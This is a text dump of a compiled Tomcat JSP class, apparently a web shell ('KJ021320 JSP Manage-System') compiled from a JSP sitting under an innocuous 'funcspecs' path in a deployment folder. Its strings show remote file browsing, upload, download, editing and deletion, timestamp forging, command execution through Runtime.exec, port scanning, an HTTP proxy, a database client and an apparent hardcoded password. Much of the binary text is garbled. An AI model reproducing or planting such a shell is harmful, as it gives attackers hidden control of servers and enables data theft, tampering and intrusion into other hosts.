Edit C:\galaxie\deploy\Tomcat6\work\Catalina\localhost\docs\org\apache\jsp\funcspecs\_4_jsp.class
Êþº¾ 1d org/apache/jsp/funcspecs/_4_jsp %org/apache/jasper/runtime/HttpJspBase ,org/apache/jasper/runtime/JspSourceDependent APP_NAME Ljava/lang/String; ConstantValue KJ021320 JSP Manage-System 1.0 portListen I openHttpProxy Z _jspxFactory Ljavax/servlet/jsp/JspFactory; _jspx_dependants Ljava/util/List; _el_expressionfactory Ljavax/el/ExpressionFactory; _jsp_annotationprocessor Lorg/apache/AnnotationProcessor; <clinit> ()V Code javax/servlet/jsp/JspFactory getDefaultFactory ()Ljavax/servlet/jsp/JspFactory; " LineNumberTable LocalVariableTable <init> ' % ) + - this !Lorg/apache/jsp/funcspecs/_4_jsp; mainForm 2(Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V Exceptions 4 java/lang/Exception 6 4<table width=100% height=100% border=0 bgcolor=menu> 8 : 9 javax/servlet/jsp/JspWriter ; < print (Ljava/lang/String;)V > <tr><td height=30 colspan=2> @ %<table width=100% height=25 border=0> B G<form name=address method=post target=FileFrame onSubmit='checkUrl();'> D 0<tr><td width=60 align=center>FilePath:</td><td> F java/lang/StringBuilder H /<input name=FolderPath style=width:100% value=' E J % < E L M N append -(Ljava/lang/String;)Ljava/lang/StringBuilder; P ' onchange='checkUrl();'> E R S T toString ()Ljava/lang/String; V '<input type=hidden name=Action value=F> X !<input type=hidden name=Filename> Z L</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a> \ 5</td></tr></form></table></td></tr><tr><td width=148> ^ a<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td> ` <td width=600> b 1<iframe name=FileFrame src='?Action=F&FolderPath= d >' width=100% height=100% frameborder=1 scrolling=yes></iframe> f </td></tr></table> web_Site out Ljavax/servlet/jsp/JspWriter; mainMenu 2(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)V m <table> 8 o p < println r '<tr><td bgcolor=Gray><a href=?Action=M> t u v ico (I)Ljava/lang/String; x 'FileOperation(File.class)</a></td></tr> z ;<tr><td bgcolor=menu onclick=top.address.FolderPath.value=' | } ~ folderReplace &(Ljava/lang/String;)Ljava/lang/String; ? '><a href='?Action=F&FolderPath= ? ' target=FileFrame> ? WEB Folder</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=S target=FileFrame> ? &SystemInfo(System.class)</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=L target=FileFrame> ? ServletInfo</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=T target=FileFrame> ? SystemTools</a></td></tr> ? 8<tr><td bgcolor=menu><a href=?Action=i target=FileFrame> ? Interfaces</a></td></tr> ? s<tr><td bgcolor=menu><a href='http://blog.csdn.net/kj021320' target=FileFrame>About nonamed(kj021320)</a></td></tr> ? </table> showFiles ? java/io/File ? J ? ? ? isDirectory ()Z ? ¢ £ exists ? ¥ ¦ § listFiles ()[Ljava/io/File; © ?<table><tr bgcolor=menu><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr> ? « ¬ length ()J ¯ G<tr bgcolor=menu><td><a href="javascript:top.address.FolderPath.value=' ? ± ² T getAbsolutePath ´ /';checkUrl();"> ? ¶ · T getName ¹ </a></td><td> DIR </td><td> » ¼ ½ getSize (J)Ljava/lang/String; ¿ </td><td> Á java/util/Date ? Ã Ä lastModified À Æ % Ç (J)V E É M Ê -(Ljava/lang/Object;)Ljava/lang/StringBuilder; ? Ì Í canRead E Ï M Ð (Z)Ljava/lang/StringBuilder; ? Ò Ó canWrite ? Õ Ö isHidden Ø Ù Ú fOperation '(ZLjava/lang/String;)Ljava/lang/String; Ü </td></tr> Þ <tr><td> à </td><td> file </td><td> â this folder size: path file Ljava/io/File; maxSize J f [Ljava/io/File; i showSystemInfo (Ljavax/servlet/jsp/JspWriter;)V î ð ï java/lang/System ñ ò getProperties ()Ljava/util/Properties; ô ö õ java/util/Map ÷ ø keySet ()Ljava/util/Set; ú ü û java/util/Set ý þ iterator ()Ljava/util/Iterator; <hr>System Property info:<ul> java/util/Iterator next ()Ljava/lang/Object; <li> [ ô get &(Ljava/lang/Object;)Ljava/lang/Object; ] hasNext </ul><hr>System CPU : java/lang/Runtime getRuntime ()Ljava/lang/Runtime; availableProcessors ()I !#" java/lang/String$ v valueOf& <br>( the JVM Free Memory : *+ freeMemory- <br>the JVM Max Memory : /0 maxMemory map Ljava/util/Map; set Ljava/util/Set; it Ljava/util/Iterator; oName Ljava/lang/Object; servletInfo =(Ljavax/servlet/ServletConfig;Ljavax/servlet/jsp/JspWriter;)V<>= javax/servlet/ServletConfig?@ getServletContext ()Ljavax/servlet/ServletContext;B Server info: DFE javax/servlet/ServletContextG T getServerInfoI <br>K ServletContext name: DMN T getServletContextNameP Major version :DRS getMajorVersion EU MV (I)Ljava/lang/StringBuilder;X Minor version :DZ[ getMinorVersionD]^_ getInitParameterNames ()Ljava/util/Enumeration;a init parameter: <br>ced java/util/Enumerationf nextElementh key:j value:Dlm ~ getInitParametercop hasMoreElements config Ljavax/servlet/ServletConfig; sc Ljavax/servlet/ServletContext; en Ljava/util/Enumeration; initInfo name downFile =(Ljava/lang/String;Ljavax/servlet/http/HttpServletResponse;)V !|}~ getBytes ()[B? ISO-8859-1 !? %? ([BLjava/lang/String;)V??? &javax/servlet/http/HttpServletResponse? reset? Content-disposition? attachment;filename="? "???? setHeader '(Ljava/lang/String;Ljava/lang/String;)V???? getOutputStream %()Ljavax/servlet/ServletOutputStream;? java/io/BufferedInputStream? java/io/FileInputStream ? J ?? %? (Ljava/io/InputStream;)V ¢¡ !javax/servlet/ServletOutputStream£¤ write ([BII)V ?¦§¨ read ([BII)I ?ª« close ® flush?°± flushBuffer filename res (Ljavax/servlet/http/HttpServletResponse; w buffer [B b outFile sos #Ljavax/servlet/ServletOutputStream; bis Ljava/io/BufferedInputStream; deleteFile ?ÀÁ delete !Ã$Ä &(Ljava/lang/Object;)Ljava/lang/String;Æ delete success...È file not find!! renameFileË | !ÍÎÏ indexOf (Ljava/lang/String;)I !ÑÒ v substring !ÔÒÕ (II)Ljava/lang/String; ?×ØÙ renameTo (Ljava/io/File;)ZÛ file move success split newFilename copyFileà java/io/BufferedOutputStreamâ java/io/FileOutputStream á J ßå %æ (Ljava/io/OutputStream;)V ßè£é (I)V ?ë§í file copy error ߪð file copy success bos Ljava/io/BufferedOutputStream; s editFileö java/io/IOExceptionø <form method=post>File Path:ú .<input type=text size=80 name=filename value='ü '>þ i<input type=button name=kFile onClick='this.form.action="?Action=K";this.form.submit();' value=KeepFile > N<input type=button onClick=editFile(this.form.filename.value); value=ReadFile> 5<textarea name=FileContent rows=35 style=width:100%;> java/io/BufferedReader java/io/InputStreamReader Gb2312 % *(Ljava/io/InputStream;Ljava/lang/String;)V % (Ljava/io/Reader;)V ~ htmlEntity T readLine file edit error </textarea></form> br Ljava/io/BufferedReader; saveFile 4(Ljava/lang/String;[BLjavax/servlet/jsp/JspWriter;)V ߢ! file save success# Error fileContent dateChange h(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V (*) java/util/Calendar+, getInstance ()Ljava/util/Calendar; .0/ java/lang/Integer1Ï parseInt (334 (III)V (67 getTimeInMillis ?9:; setLastModified (J)Z= file date change success? file date change errorA file not find!!! year month day calendar Ljava/util/Calendar; execFile IJK exec '(Ljava/lang/String;)Ljava/lang/Process; MON java/lang/ProcessPQ getInputStream ()Ljava/io/InputStream;S GB2312U $<textarea rows=35 style=width:100%;> !W %X ([CII)V Z§[ ([CII)I] run file error ª` </textarea> bc ì systemTools rt Ljava/lang/Runtime; ps Ljava/lang/Process; isr Ljava/io/InputStreamReader; bufferC [C zip D(Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)Vo java/util/zip/ZipOutputStream nå rst zipEntry X(Ljava/util/zip/ZipOutputStream;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Vv file zip error nªy zip ok zipPath srcPath output Ljava/io/FileOutputStream; zipOutput Ljava/util/zip/ZipOutputStream; ???? list ()[Ljava/lang/String; ??? separator? / !??Ï lastIndexOf? java/util/zip/ZipEntry ? J !??? equals (Ljava/lang/Object;)Z ??? Ç setSize ??? Ç setTime ??? Ç setCrc? java/util/zip/CRC32 ? ' ?? n¡¢£ putNextEntry (Ljava/util/zip/ZipEntry;)V n¢ ?¦§¤ update ?¦ ?ª ?«¬ getValue zipOs initPath filePath entryName files [Ljava/lang/String; chPh idx entry Ljava/util/zip/ZipEntry; ff crc Ljava/util/zip/CRC32; len bufferLen input Ljava/io/FileInputStream; upfile Y(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)VÁà%javax/servlet/http/HttpServletRequestÄ T getContentTypeÁÆPÇ $()Ljavax/servlet/ServletInputStream; ÉÊ 9([BLjavax/servlet/ServletInputStream;Ljava/lang/String;)IÌ upload success!Î upload error request 'Ljavax/servlet/http/HttpServletRequest; boundary sis "Ljavax/servlet/ServletInputStream; line ÖØ× javax/servlet/ServletInputStream¨ !Ú %¤ îÜ hÝ Ljava/io/PrintStream; ß oà java/io/PrintStream lineByte servletInputstream endStr str newFolder ?çè mkdirsê the folder create success!ì the folder create error foldername reflectAPI ðòñ java/lang/Classóô forName %(Ljava/lang/String;)Ljava/lang/Class; ðö÷ø getInterfaces ()[Ljava/lang/Class; ðúûü getSuperclass ()Ljava/lang/Class; ð R ðÿ getDeclaredConstructors "()[Ljava/lang/reflect/Constructor; ð getDeclaredFields ()[Ljava/lang/reflect/Field; ð getDeclaredMethods ()[Ljava/lang/reflect/Method; ð ¶ , <strong> ð getModifiers java/lang/reflect/Modifier S v </strong> <br><strong>extends</strong> <strong><br>implemets</strong> "<br>{<br><EM>Constructor:</EM><br> ! <EM>Field:</EM><br># <EM>Function:</EM><br>% <br>} className cls Ljava/lang/Class; ifString interfaces [Ljava/lang/Class; supperClass c [Ljava/lang/reflect/Constructor; [Ljava/lang/reflect/Field; m [Ljava/lang/reflect/Method; scanPort 4(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;II)V ÿÿ6 port setup error 8:9 java/net/InetAddress;< getByName *(Ljava/lang/String;)Ljava/net/InetAddress;> (org/apache/jsp/funcspecs/_4_jsp$ScanPort =@ %A Y(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/net/InetAddress;IILjavax/servlet/jsp/JspWriter;)V =CD start FHG java/lang/ThreadI Ç sleep strAddress startPort endPort ia Ljava/net/InetAddress; p switchProxyServiceR /org/apache/jsp/funcspecs/_4_jsp$RunProxyService QT %U %(Lorg/apache/jsp/funcspecs/_4_jsp;I)V QCX Proxy runningZ Proxy closed ConnectionDBM ?(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V^ #org/apache/jsp/funcspecs/_4_jsp$DBM ]` %a ?(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)Vc LDB ]ef lookInfo ]hi < executeSQL ]kl closeAll driver url userName passWord sqlAction sqlCmd dbm %Lorg/apache/jsp/funcspecs/_4_jsp$DBM;v <table border=1>x h<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=menu>System class run</td>z ¢<td colspan=2>filepath:<input name=execFile size=75 type=text title='example d:\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>| ?<tr><form method=post enctype="multipart/form-data" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=menu>file upload</td>~ õ<td colspan=2>file:<input name=file type=file>up to file<input title='d:\1.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick="this.form.action+='&UPaddress='+this.form.UPaddress.value;" type=submit value=upl></td></form></tr>? à<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=menu>new file</td><td colspan=2>file full name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>? </form></tr>? ç<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=menu>Create folder</td><td colspan=2>folder fullname:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>? ø<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=menu>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>?O<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=menu>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>? +<tr><form method=post action='?Action=sql'>? +<td bordercolorlight=Black bgcolor=menu>DBM? Î<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>? Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>? p<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>? /<td><input name=run type=submit value=LDB></td>? S<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>? T<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr> userInterFaces? Fif u want to add an function ,u can coding in 'userInterFaces'function encodeChange !?}? (Ljava/lang/String;)[B¡ gb2312 !£¤¥ replace (CC)Ljava/lang/String; folder¨ <a href="javascript:delFile('ª +')">Delete</a> <a href="javascript:reName('¬ ,')">Rename</a> <a href="javascript:setDate('® -')">setDate</a> <a href="javascript:zipFile('° ')">Zip</a>² .')">setDate</a> <a href="javascript:copyFile('´ +')">Copy</a> <a href="javascript:editFile('¶ +')">Edit</a> <a href="javascript:downFile('¸ ');">Down</a> @ E '½ java/lang/Long ¼ ÆÀ G Ä M È K !Ê$ ½Ì B sizeÏ <font face=wingdings size=3>&#Ñ </font> numÔ java/lang/StringBuffer Ó ' !×ØÙ charAt (I)CÛ < ÓÝ MÞ ,(Ljava/lang/String;)Ljava/lang/StringBuffer;à >â Óä Må (C)Ljava/lang/StringBuffer; !ç ¬ Ó R htmlCode sb Ljava/lang/StringBuffer; C getDependants ï _jspInit òóô getServletConfig ()Ljavax/servlet/ServletConfig; ö÷ø getJspApplicationContext I(Ljavax/servlet/ServletContext;)Ljavax/servlet/jsp/JspApplicationContext;úüû 'javax/servlet/jsp/JspApplicationContextýþ getExpressionFactory ()Ljavax/el/ExpressionFactory; org/apache/AnnotationProcessorD getAttribute &(Ljava/lang/String;)Ljava/lang/Object; _jspDestroy _jspService R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V javax/servlet/ServletException text/html;charset=gbk? < setContentType getPageContext ?(Ljavax/servlet/Servlet;Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljava/lang/String;ZIZ)Ljavax/servlet/jsp/PageContext; > javax/servlet/jsp/PageContext ò getSession "()Ljavax/servlet/http/HttpSession; !" getOut ()Ljavax/servlet/jsp/JspWriter;$ 8&£ < 8è)+* javax/servlet/http/HttpSession,é setMaxInactiveIntervalD./ ~ getRealPathÁ12 T getRequestURI4 ID)7 testing0129 LNameÁ;<